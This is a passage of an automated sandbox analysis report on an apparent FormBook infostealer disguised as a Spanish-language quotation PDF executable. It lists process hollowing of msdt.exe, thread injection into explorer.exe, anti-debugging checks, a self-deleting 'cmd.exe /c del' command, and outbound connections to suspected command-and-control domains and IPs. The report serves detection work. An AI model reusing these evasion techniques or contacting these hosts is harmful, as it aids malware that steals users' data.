Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461FF60 mov eax, dword ptr fs:[00000030h] 10_2_0461FF60
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D8F6A mov eax, dword ptr fs:[00000030h] 10_2_046D8F6A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461EF40 mov eax, dword ptr fs:[00000030h] 10_2_0461EF40
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04604F2E mov eax, dword ptr fs:[00000030h] 10_2_04604F2E
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04604F2E mov eax, dword ptr fs:[00000030h] 10_2_04604F2E
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463E730 mov eax, dword ptr fs:[00000030h] 10_2_0463E730
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D070D mov eax, dword ptr fs:[00000030h] 10_2_046D070D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D070D mov eax, dword ptr fs:[00000030h] 10_2_046D070D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463A70E mov eax, dword ptr fs:[00000030h] 10_2_0463A70E
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463A70E mov eax, dword ptr fs:[00000030h] 10_2_0463A70E
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462F716 mov eax, dword ptr fs:[00000030h] 10_2_0462F716
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0469FF10 mov eax, dword ptr fs:[00000030h] 10_2_0469FF10
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0469FF10 mov eax, dword ptr fs:[00000030h] 10_2_0469FF10
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046437F5 mov eax, dword ptr fs:[00000030h] 10_2_046437F5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04618794 mov eax, dword ptr fs:[00000030h] 10_2_04618794
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04687794 mov eax, dword ptr fs:[00000030h] 10_2_04687794
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04687794 mov eax, dword ptr fs:[00000030h] 10_2_04687794
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04687794 mov eax, dword ptr fs:[00000030h] 10_2_04687794
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D1074 mov eax, dword ptr fs:[00000030h] 10_2_046D1074
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C2073 mov eax, dword ptr fs:[00000030h] 10_2_046C2073
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04620050 mov eax, dword ptr fs:[00000030h] 10_2_04620050
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04620050 mov eax, dword ptr fs:[00000030h] 10_2_04620050
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461B02A mov eax, dword ptr fs:[00000030h] 10_2_0461B02A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461B02A mov eax, dword ptr fs:[00000030h] 10_2_0461B02A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461B02A mov eax, dword ptr fs:[00000030h] 10_2_0461B02A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461B02A mov eax, dword ptr fs:[00000030h] 10_2_0461B02A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463002D mov eax, dword ptr fs:[00000030h] 10_2_0463002D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463002D mov eax, dword ptr fs:[00000030h] 10_2_0463002D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463002D mov eax, dword ptr fs:[00000030h] 10_2_0463002D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463002D mov eax, dword ptr fs:[00000030h] 10_2_0463002D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463002D mov eax, dword ptr fs:[00000030h] 10_2_0463002D
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D4015 mov eax, dword ptr fs:[00000030h] 10_2_046D4015
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D4015 mov eax, dword ptr fs:[00000030h] 10_2_046D4015
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04687016 mov eax, dword ptr fs:[00000030h] 10_2_04687016
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04687016 mov eax, dword ptr fs:[00000030h] 10_2_04687016
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04687016 mov eax, dword ptr fs:[00000030h] 10_2_04687016
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046040E1 mov eax, dword ptr fs:[00000030h] 10_2_046040E1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046040E1 mov eax, dword ptr fs:[00000030h] 10_2_046040E1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046040E1 mov eax, dword ptr fs:[00000030h] 10_2_046040E1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046058EC mov eax, dword ptr fs:[00000030h] 10_2_046058EC
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0469B8D0 mov eax, dword ptr fs:[00000030h] 10_2_0469B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0469B8D0 mov ecx, dword ptr fs:[00000030h] 10_2_0469B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0469B8D0 mov eax, dword ptr fs:[00000030h] 10_2_0469B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0469B8D0 mov eax, dword ptr fs:[00000030h] 10_2_0469B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0469B8D0 mov eax, dword ptr fs:[00000030h] 10_2_0469B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0469B8D0 mov eax, dword ptr fs:[00000030h] 10_2_0469B8D0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046320A0 mov eax, dword ptr fs:[00000030h] 10_2_046320A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046320A0 mov eax, dword ptr fs:[00000030h] 10_2_046320A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046320A0 mov eax, dword ptr fs:[00000030h] 10_2_046320A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046320A0 mov eax, dword ptr fs:[00000030h] 10_2_046320A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046320A0 mov eax, dword ptr fs:[00000030h] 10_2_046320A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046320A0 mov eax, dword ptr fs:[00000030h] 10_2_046320A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046490AF mov eax, dword ptr fs:[00000030h] 10_2_046490AF
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463F0BF mov ecx, dword ptr fs:[00000030h] 10_2_0463F0BF
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463F0BF mov eax, dword ptr fs:[00000030h] 10_2_0463F0BF
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463F0BF mov eax, dword ptr fs:[00000030h] 10_2_0463F0BF
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04609080 mov eax, dword ptr fs:[00000030h] 10_2_04609080
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04683884 mov eax, dword ptr fs:[00000030h] 10_2_04683884
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04683884 mov eax, dword ptr fs:[00000030h] 10_2_04683884
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460C962 mov eax, dword ptr fs:[00000030h] 10_2_0460C962
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460B171 mov eax, dword ptr fs:[00000030h] 10_2_0460B171
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460B171 mov eax, dword ptr fs:[00000030h] 10_2_0460B171
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462B944 mov eax, dword ptr fs:[00000030h] 10_2_0462B944
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462B944 mov eax, dword ptr fs:[00000030h] 10_2_0462B944
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04624120 mov eax, dword ptr fs:[00000030h] 10_2_04624120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04624120 mov eax, dword ptr fs:[00000030h] 10_2_04624120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04624120 mov eax, dword ptr fs:[00000030h] 10_2_04624120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04624120 mov eax, dword ptr fs:[00000030h] 10_2_04624120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04624120 mov ecx, dword ptr fs:[00000030h] 10_2_04624120
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463513A mov eax, dword ptr fs:[00000030h] 10_2_0463513A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463513A mov eax, dword ptr fs:[00000030h] 10_2_0463513A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04609100 mov eax, dword ptr fs:[00000030h] 10_2_04609100
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04609100 mov eax, dword ptr fs:[00000030h] 10_2_04609100
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04609100 mov eax, dword ptr fs:[00000030h] 10_2_04609100
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046941E8 mov eax, dword ptr fs:[00000030h] 10_2_046941E8
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460B1E1 mov eax, dword ptr fs:[00000030h] 10_2_0460B1E1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460B1E1 mov eax, dword ptr fs:[00000030h] 10_2_0460B1E1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460B1E1 mov eax, dword ptr fs:[00000030h] 10_2_0460B1E1
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046361A0 mov eax, dword ptr fs:[00000030h] 10_2_046361A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046361A0 mov eax, dword ptr fs:[00000030h] 10_2_046361A0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C49A4 mov eax, dword ptr fs:[00000030h] 10_2_046C49A4
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C49A4 mov eax, dword ptr fs:[00000030h] 10_2_046C49A4
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C49A4 mov eax, dword ptr fs:[00000030h] 10_2_046C49A4
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C49A4 mov eax, dword ptr fs:[00000030h] 10_2_046C49A4
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046869A6 mov eax, dword ptr fs:[00000030h] 10_2_046869A6
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046851BE mov eax, dword ptr fs:[00000030h] 10_2_046851BE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046851BE mov eax, dword ptr fs:[00000030h] 10_2_046851BE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046851BE mov eax, dword ptr fs:[00000030h] 10_2_046851BE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046851BE mov eax, dword ptr fs:[00000030h] 10_2_046851BE
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462C182 mov eax, dword ptr fs:[00000030h] 10_2_0462C182
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463A185 mov eax, dword ptr fs:[00000030h] 10_2_0463A185
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04632990 mov eax, dword ptr fs:[00000030h] 10_2_04632990
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046BB260 mov eax, dword ptr fs:[00000030h] 10_2_046BB260
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046BB260 mov eax, dword ptr fs:[00000030h] 10_2_046BB260
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D8A62 mov eax, dword ptr fs:[00000030h] 10_2_046D8A62
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0464927A mov eax, dword ptr fs:[00000030h] 10_2_0464927A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04609240 mov eax, dword ptr fs:[00000030h] 10_2_04609240
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04609240 mov eax, dword ptr fs:[00000030h] 10_2_04609240
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04609240 mov eax, dword ptr fs:[00000030h] 10_2_04609240
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04609240 mov eax, dword ptr fs:[00000030h] 10_2_04609240
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CEA55 mov eax, dword ptr fs:[00000030h] 10_2_046CEA55
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04694257 mov eax, dword ptr fs:[00000030h] 10_2_04694257
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04644A2C mov eax, dword ptr fs:[00000030h] 10_2_04644A2C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04644A2C mov eax, dword ptr fs:[00000030h] 10_2_04644A2C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04618A0A mov eax, dword ptr fs:[00000030h] 10_2_04618A0A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04605210 mov eax, dword ptr fs:[00000030h] 10_2_04605210
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04605210 mov ecx, dword ptr fs:[00000030h] 10_2_04605210
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04605210 mov eax, dword ptr fs:[00000030h] 10_2_04605210
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04605210 mov eax, dword ptr fs:[00000030h] 10_2_04605210
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460AA16 mov eax, dword ptr fs:[00000030h] 10_2_0460AA16
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460AA16 mov eax, dword ptr fs:[00000030h] 10_2_0460AA16
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CAA16 mov eax, dword ptr fs:[00000030h] 10_2_046CAA16
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046CAA16 mov eax, dword ptr fs:[00000030h] 10_2_046CAA16
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04623A1C mov eax, dword ptr fs:[00000030h] 10_2_04623A1C
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04632AE4 mov eax, dword ptr fs:[00000030h] 10_2_04632AE4
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04632ACB mov eax, dword ptr fs:[00000030h] 10_2_04632ACB
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046052A5 mov eax, dword ptr fs:[00000030h] 10_2_046052A5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046052A5 mov eax, dword ptr fs:[00000030h] 10_2_046052A5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046052A5 mov eax, dword ptr fs:[00000030h] 10_2_046052A5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046052A5 mov eax, dword ptr fs:[00000030h] 10_2_046052A5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046052A5 mov eax, dword ptr fs:[00000030h] 10_2_046052A5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461AAB0 mov eax, dword ptr fs:[00000030h] 10_2_0461AAB0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0461AAB0 mov eax, dword ptr fs:[00000030h] 10_2_0461AAB0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463FAB0 mov eax, dword ptr fs:[00000030h] 10_2_0463FAB0
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463D294 mov eax, dword ptr fs:[00000030h] 10_2_0463D294
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463D294 mov eax, dword ptr fs:[00000030h] 10_2_0463D294
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460DB60 mov ecx, dword ptr fs:[00000030h] 10_2_0460DB60
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04633B7A mov eax, dword ptr fs:[00000030h] 10_2_04633B7A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04633B7A mov eax, dword ptr fs:[00000030h] 10_2_04633B7A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460DB40 mov eax, dword ptr fs:[00000030h] 10_2_0460DB40
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D8B58 mov eax, dword ptr fs:[00000030h] 10_2_046D8B58
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0460F358 mov eax, dword ptr fs:[00000030h] 10_2_0460F358
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C131B mov eax, dword ptr fs:[00000030h] 10_2_046C131B
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046303E2 mov eax, dword ptr fs:[00000030h] 10_2_046303E2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046303E2 mov eax, dword ptr fs:[00000030h] 10_2_046303E2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046303E2 mov eax, dword ptr fs:[00000030h] 10_2_046303E2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046303E2 mov eax, dword ptr fs:[00000030h] 10_2_046303E2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046303E2 mov eax, dword ptr fs:[00000030h] 10_2_046303E2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046303E2 mov eax, dword ptr fs:[00000030h] 10_2_046303E2
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0462DBE9 mov eax, dword ptr fs:[00000030h] 10_2_0462DBE9
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046853CA mov eax, dword ptr fs:[00000030h] 10_2_046853CA
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046853CA mov eax, dword ptr fs:[00000030h] 10_2_046853CA
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046D5BA5 mov eax, dword ptr fs:[00000030h] 10_2_046D5BA5
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04634BAD mov eax, dword ptr fs:[00000030h] 10_2_04634BAD
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04634BAD mov eax, dword ptr fs:[00000030h] 10_2_04634BAD
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04634BAD mov eax, dword ptr fs:[00000030h] 10_2_04634BAD
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046C138A mov eax, dword ptr fs:[00000030h] 10_2_046C138A
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_046BD380 mov ecx, dword ptr fs:[00000030h] 10_2_046BD380
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04611B8F mov eax, dword ptr fs:[00000030h] 10_2_04611B8F
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04611B8F mov eax, dword ptr fs:[00000030h] 10_2_04611B8F
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_0463B390 mov eax, dword ptr fs:[00000030h] 10_2_0463B390
Source: C:\Windows\SysWOW64\msdt.exe Code function: 10_2_04632397 mov eax, dword ptr fs:[00000030h] 10_2_04632397
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Code function: 6_2_0040ACF0 LdrLoadDll, 6_2_0040ACF0
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.afxwn.icu
Source: C:\Windows\explorer.exe Domain query: www.weqffg.site
Source: C:\Windows\explorer.exe Network Connect: 156.234.12.248 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 192.0.78.24 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.analytics-at-scale.com
Source: C:\Windows\explorer.exe Network Connect: 162.214.233.244 80 Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Section unmapped: C:\Windows\SysWOW64\msdt.exe base address: EB0000 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Section loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Section loaded: unknown target: C:\Windows\SysWOW64\msdt.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Thread register set: target process: 3352 Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Thread register set: target process: 3352 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process created: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Process created: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Jump to behavior
Source: C:\Windows\SysWOW64\msdt.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe" Jump to behavior
Source: explorer.exe, 00000007.00000000.303008026.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000007.00000000.342913123.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000007.00000000.323908131.00000000011E0000.00000002.00020000.sdmp, msdt.exe, 0000000A.00000002.568659576.0000000003030000.00000002.00020000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000007.00000000.342217712.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 00000007.00000000.323174188.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 00000007.00000000.302058539.0000000000B68000.00000004.00000020.sdmp, explorer.exe, 00000007.00000000.402407831.0000000000B68000.00000004.00000020.sdmp Binary or memory string: Progman\Pr
Source: explorer.exe, 00000007.00000000.329823325.0000000005E10000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.303008026.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000007.00000000.342913123.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000007.00000000.323908131.00000000011E0000.00000002.00020000.sdmp, msdt.exe, 0000000A.00000002.568659576.0000000003030000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.303008026.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000007.00000000.342913123.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000007.00000000.323908131.00000000011E0000.00000002.00020000.sdmp, msdt.exe, 0000000A.00000002.568659576.0000000003030000.00000002.00020000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000007.00000000.303008026.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000007.00000000.342913123.00000000011E0000.00000002.00020000.sdmp, explorer.exe, 00000007.00000000.323908131.00000000011E0000.00000002.00020000.sdmp, msdt.exe, 0000000A.00000002.568659576.0000000003030000.00000002.00020000.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000007.00000000.350785611.0000000008778000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.334195852.0000000008778000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.312931928.0000000008778000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWndh

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Queries volume information: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Solicitud urgente de Quotaion_U1197,pdf.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected FormBook
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.0.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 6.2.Solicitud urgente de Quotaion_U1197,pdf.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000000.298321821.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.560174409.0000000000770000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.372897742.0000000001730000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.298732907.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.338321770.00000000100B5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.372402095.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.563987618.00000000007C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000000.354531059.00000000100B5000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.373637862.0000000001A90000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.558246949.0000000000120000.00000040.00020000.sdmp, type: MEMORY
